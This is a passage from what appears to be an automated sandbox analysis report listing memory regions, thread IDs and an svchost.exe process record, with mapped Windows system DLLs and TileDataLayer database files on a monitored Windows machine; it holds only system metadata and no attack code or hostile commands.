	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2690
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2691
	        start_va = 0x7ffc022c0000
	          end_va = 0x7ffc037e4fff
	     entry_point = 0x7ffc022c0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 2692
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2693
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2694
	        start_va = 0x7ffc03a50000
	          end_va = 0x7ffc03aa0fff
	     entry_point = 0x7ffc03a50000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2695
	        start_va = 0x7ffc03ad0000
	          end_va = 0x7ffc03ad7fff
	     entry_point = 0x7ffc03ad0000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")

Region:
	              id = 2696
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2697
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2698
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2699
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 400
	os_tid = 0xca8


Thread:
	id = 401
	os_tid = 0xc5c


Thread:
	id = 402
	os_tid = 0xa14


Thread:
	id = 403
	os_tid = 0x830


Thread:
	id = 404
	os_tid = 0x844


Thread:
	id = 405
	os_tid = 0x6bc


Thread:
	id = 406
	os_tid = 0x568


Thread:
	id = 407
	os_tid = 0x564


Thread:
	id = 408
	os_tid = 0x55c


Thread:
	id = 409
	os_tid = 0x550


Thread:
	id = 410
	os_tid = 0x54c


Thread:
	id = 411
	os_tid = 0x540


Thread:
	id = 412
	os_tid = 0x508


Thread:
	id = 413
	os_tid = 0x504


Thread:
	id = 414
	os_tid = 0x500


Thread:
	id = 415
	os_tid = 0x4fc


Thread:
	id = 416
	os_tid = 0x4f4


Thread:
	id = 417
	os_tid = 0x4e8


Thread:
	id = 477
	os_tid = 0x598


Thread:
	id = 478
	os_tid = 0x420


Process:
	id = "20"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x49544000"
	os_pid = "0x608"
	os_integrity_level = "0x4000"
	os_privileges = "0x260814080"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k appmodel"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xa], "NT SERVICE\\tiledatamodelsvc" [0xe], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:00014125" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 3681
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 3682
	        start_va = 0x8c00000000
	          end_va = 0x8c0fffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c00000000"
	        filename = ""

Region:
	              id = 3683
	        start_va = 0x8c10000000
	          end_va = 0x8c1fffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c10000000"
	        filename = ""

Region:
	              id = 3684
	        start_va = 0x8c73940000
	          end_va = 0x8c7394ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73940000"
	        filename = ""

Region:
	              id = 3685
	        start_va = 0x8c73950000
	          end_va = 0x8c73950fff
	     entry_point = 0x8c73950000
	     region_type = mapped_file
	            name = "svchost.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")

Region:
	              id = 3686
	        start_va = 0x8c73960000
	          end_va = 0x8c73973fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73960000"
	        filename = ""

Region:
	              id = 3687
	        start_va = 0x8c73980000
	          end_va = 0x8c739fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73980000"
	        filename = ""

Region:
	              id = 3688
	        start_va = 0x8c73a00000
	          end_va = 0x8c73a03fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73a00000"
	        filename = ""

Region:
	              id = 3689
	        start_va = 0x8c73a10000
	          end_va = 0x8c73a10fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73a10000"
	        filename = ""

Region:
	              id = 3690
	        start_va = 0x8c73a20000
	          end_va = 0x8c73a21fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73a20000"
	        filename = ""

Region:
	              id = 3691
	        start_va = 0x8c73a30000
	          end_va = 0x8c73a3ffff
	     entry_point = 0x8c73a30000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3692
	        start_va = 0x8c73a40000
	          end_va = 0x8c73a4ffff
	     entry_point = 0x8c73a40000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3693
	        start_va = 0x8c73a50000
	          end_va = 0x8c73a5ffff
	     entry_point = 0x8c73a50000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3694
	        start_va = 0x8c73a60000
	          end_va = 0x8c73a6ffff
	     entry_point = 0x8c73a60000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3695
	        start_va = 0x8c73a70000
	          end_va = 0x8c73a7ffff
	     entry_point = 0x8c73a70000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3696
	        start_va = 0x8c73a80000
	          end_va = 0x8c73a8ffff
	     entry_point = 0x8c73a80000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3697
	        start_va = 0x8c73a90000
	          end_va = 0x8c73a9ffff
	     entry_point = 0x8c73a90000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3698
	        start_va = 0x8c73aa0000
	          end_va = 0x8c73aaffff
	     entry_point = 0x8c73aa0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3699
	        start_va = 0x8c73ab0000
	          end_va = 0x8c73ab6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73ab0000"
	        filename = ""

Region:
	              id = 3700
	        start_va = 0x8c73ac0000
	          end_va = 0x8c73ac0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73ac0000"
	        filename = ""

Region:
	              id = 3701
	        start_va = 0x8c73ad0000
	          end_va = 0x8c73ad0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73ad0000"
	        filename = ""

Region:
	              id = 3702
	        start_va = 0x8c73ae0000
	          end_va = 0x8c73ae0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73ae0000"
	        filename = ""

Region:
	              id = 3703
	        start_va = 0x8c73af0000
	          end_va = 0x8c73afffff
	     entry_point = 0x8c73af0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3704
	        start_va = 0x8c73b00000
	          end_va = 0x8c73bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73b00000"
	        filename = ""

Region:
	              id = 3705
	        start_va = 0x8c73c00000
	          end_va = 0x8c73cbdfff
	     entry_point = 0x8c73c00000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 3706
	        start_va = 0x8c73cc0000
	          end_va = 0x8c73cc7fff
	     entry_point = 0x8c73cc0000
	     region_type = mapped_file
	            name = "staterepository-machine.srd-shm"
	        filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd-shm")

Region:
	              id = 3707
	        start_va = 0x8c73cd0000
	          end_va = 0x8c73cd0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73cd0000"
	        filename = ""

Region:
	              id = 3708
	        start_va = 0x8c73ce0000
	          end_va = 0x8c73ce0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73ce0000"
	        filename = ""

Region:
	              id = 3709
	        start_va = 0x8c73cf0000
	          end_va = 0x8c73cf0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73cf0000"
	        filename = ""

Region:
	              id = 3710
	        start_va = 0x8c73d00000
	          end_va = 0x8c73d0ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73d00000"
	        filename = ""

Region:
	              id = 3711
	        start_va = 0x8c73d10000
	          end_va = 0x8c73d1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73d10000"
	        filename = ""

Region:
	              id = 3712
	        start_va = 0x8c73d20000
	          end_va = 0x8c73d2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73d20000"
	        filename = ""

Region:
	              id = 3713
	        start_va = 0x8c73d30000
	          end_va = 0x8c73d3ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73d30000"
	        filename = ""

Region:
	              id = 3714
	        start_va = 0x8c73d40000
	          end_va = 0x8c73d40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73d40000"
	        filename = ""

Region:
	              id = 3715
	        start_va = 0x8c73d50000
	          end_va = 0x8c73d50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73d50000"
	        filename = ""

Region:
	              id = 3716
	        start_va = 0x8c73d60000
	          end_va = 0x8c73d66fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73d60000"
	        filename = ""

Region:
	              id = 3717
	        start_va = 0x8c73d70000
	          end_va = 0x8c73d7ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73d70000"
	        filename = ""

Region:
	              id = 3718
	        start_va = 0x8c73d80000
	          end_va = 0x8c73d8ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73d80000"
	        filename = ""

Region:
	              id = 3719
	        start_va = 0x8c73d90000
	          end_va = 0x8c73d9ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73d90000"
	        filename = ""

Region:
	              id = 3720
	        start_va = 0x8c73da0000
	          end_va = 0x8c73daffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73da0000"
	        filename = ""

Region:
	              id = 3721
	        start_va = 0x8c73db0000
	          end_va = 0x8c73db0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73db0000"
	        filename = ""

Region:
	              id = 3722
	        start_va = 0x8c73dc0000
	          end_va = 0x8c73dc3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73dc0000"
	        filename = ""

Region:
	              id = 3723
	        start_va = 0x8c73dd0000
	          end_va = 0x8c73dd1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73dd0000"
	        filename = ""

Region:
	              id = 3724
	        start_va = 0x8c73de0000
	          end_va = 0x8c73de0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73de0000"
	        filename = ""

Region:
	              id = 3725
	        start_va = 0x8c73df0000
	          end_va = 0x8c73df0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73df0000"
	        filename = ""

Region:
	              id = 3726
	        start_va = 0x8c73e00000
	          end_va = 0x8c73efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c73e00000"
	        filename = ""

Region:
	              id = 3727
	        start_va = 0x8c73f00000
	          end_va = 0x8c74087fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c73f00000"
	        filename = ""

Region:
	              id = 3728
	        start_va = 0x8c74090000
	          end_va = 0x8c74210fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c74090000"
	        filename = ""

Region:
	              id = 3729
	        start_va = 0x8c74220000
	          end_va = 0x8c742dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000008c74220000"
	        filename = ""

Region:
	              id = 3730
	        start_va = 0x8c742e0000
	          end_va = 0x8c743dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c742e0000"
	        filename = ""

Region:
	              id = 3731
	        start_va = 0x8c743e0000
	          end_va = 0x8c744dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c743e0000"
	        filename = ""

Region:
	              id = 3732
	        start_va = 0x8c744e0000
	          end_va = 0x8c74816fff
	     entry_point = 0x8c744e0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 3733
	        start_va = 0x8c74820000
	          end_va = 0x8c7491ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c74820000"
	        filename = ""

Region:
	              id = 3734
	        start_va = 0x8c74920000
	          end_va = 0x8c74a1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c74920000"
	        filename = ""

Region:
	              id = 3735
	        start_va = 0x8c74a20000
	          end_va = 0x8c74b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c74a20000"
	        filename = ""

Region:
	              id = 3736
	        start_va = 0x8c74b20000
	          end_va = 0x8c74c1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c74b20000"
	        filename = ""

Region:
	              id = 3737
	        start_va = 0x8c74c20000
	          end_va = 0x8c75c1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c74c20000"
	        filename = ""

Region:
	              id = 3738
	        start_va = 0x8c75c20000
	          end_va = 0x8c75c3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c75c20000"
	        filename = ""

Region:
	              id = 3739
	        start_va = 0x8c75c40000
	          end_va = 0x8c75c4ffff
	     entry_point = 0x8c75c40000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3740
	        start_va = 0x8c75c50000
	          end_va = 0x8c75c5ffff
	     entry_point = 0x8c75c50000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3741
	        start_va = 0x8c75c60000
	          end_va = 0x8c75c6ffff
	     entry_point = 0x8c75c60000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3742
	        start_va = 0x8c75c70000
	          end_va = 0x8c75c7ffff
	     entry_point = 0x8c75c70000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3743
	        start_va = 0x8c75c80000
	          end_va = 0x8c75c8ffff
	     entry_point = 0x8c75c80000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3744
	        start_va = 0x8c75c90000
	          end_va = 0x8c75c9ffff
	     entry_point = 0x8c75c90000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3745
	        start_va = 0x8c75ca0000
	          end_va = 0x8c75caffff
	     entry_point = 0x8c75ca0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3746
	        start_va = 0x8c75cb0000
	          end_va = 0x8c75cbffff
	     entry_point = 0x8c75cb0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3747
	        start_va = 0x8c75cc0000
	          end_va = 0x8c75ccffff
	     entry_point = 0x8c75cc0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3748
	        start_va = 0x8c75cf0000
	          end_va = 0x8c75cfffff
	     entry_point = 0x8c75cf0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3749
	        start_va = 0x8c75d00000
	          end_va = 0x8c75d0ffff
	     entry_point = 0x8c75d00000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3750
	        start_va = 0x8c75d10000
	          end_va = 0x8c75d1ffff
	     entry_point = 0x8c75d10000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3751
	        start_va = 0x8c75d20000
	          end_va = 0x8c75d2ffff
	     entry_point = 0x8c75d20000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3752
	        start_va = 0x8c75d30000
	          end_va = 0x8c75daffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c75d30000"
	        filename = ""

Region:
	              id = 3753
	        start_va = 0x8c75db0000
	          end_va = 0x8c75dbffff
	     entry_point = 0x8c75db0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3754
	        start_va = 0x8c75dc0000
	          end_va = 0x8c75dc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000008c75dc0000"
	        filename = ""

Region:
	              id = 3755
	        start_va = 0x8c75dd0000
	          end_va = 0x8c75ddffff
	     entry_point = 0x8c75dd0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3756
	        start_va = 0x8c75de0000
	          end_va = 0x8c75deffff
	     entry_point = 0x8c75de0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3757
	        start_va = 0x8c75df0000
	          end_va = 0x8c75dfffff
	     entry_point = 0x8c75df0000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3758
	        start_va = 0x8c75e00000
	          end_va = 0x8c75e0ffff
	     entry_point = 0x8c75e00000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3759
	        start_va = 0x8c75e10000
	          end_va = 0x8c75e1ffff
	     entry_point = 0x8c75e10000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3760
	        start_va = 0x8c75e20000
	          end_va = 0x8c75e2ffff
	     entry_point = 0x8c75e20000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3761
	        start_va = 0x8c75e30000
	          end_va = 0x8c75e3ffff
	     entry_point = 0x8c75e30000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3762
	        start_va = 0x8c75e40000
	          end_va = 0x8c75e4ffff
	     entry_point = 0x8c75e40000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3763
	        start_va = 0x8c75e50000
	          end_va = 0x8c75e5ffff
	     entry_point = 0x8c75e50000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3764
	        start_va = 0x8c75e60000
	          end_va = 0x8c75e6ffff
	     entry_point = 0x8c75e60000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3765
	        start_va = 0x8c75e70000
	          end_va = 0x8c75e7ffff
	     entry_point = 0x8c75e70000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3766
	        start_va = 0x8c75e80000
	          end_va = 0x8c75e8ffff
	     entry_point = 0x8c75e80000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb")

Region:
	              id = 3767
	        start_va = 0x8c75e90000
	          end_va = 0x8c75e9ffff
	     entry_point = 0x8c75e90000
	     region_type = mapped_file
	            name = "vedatamodel.edb"
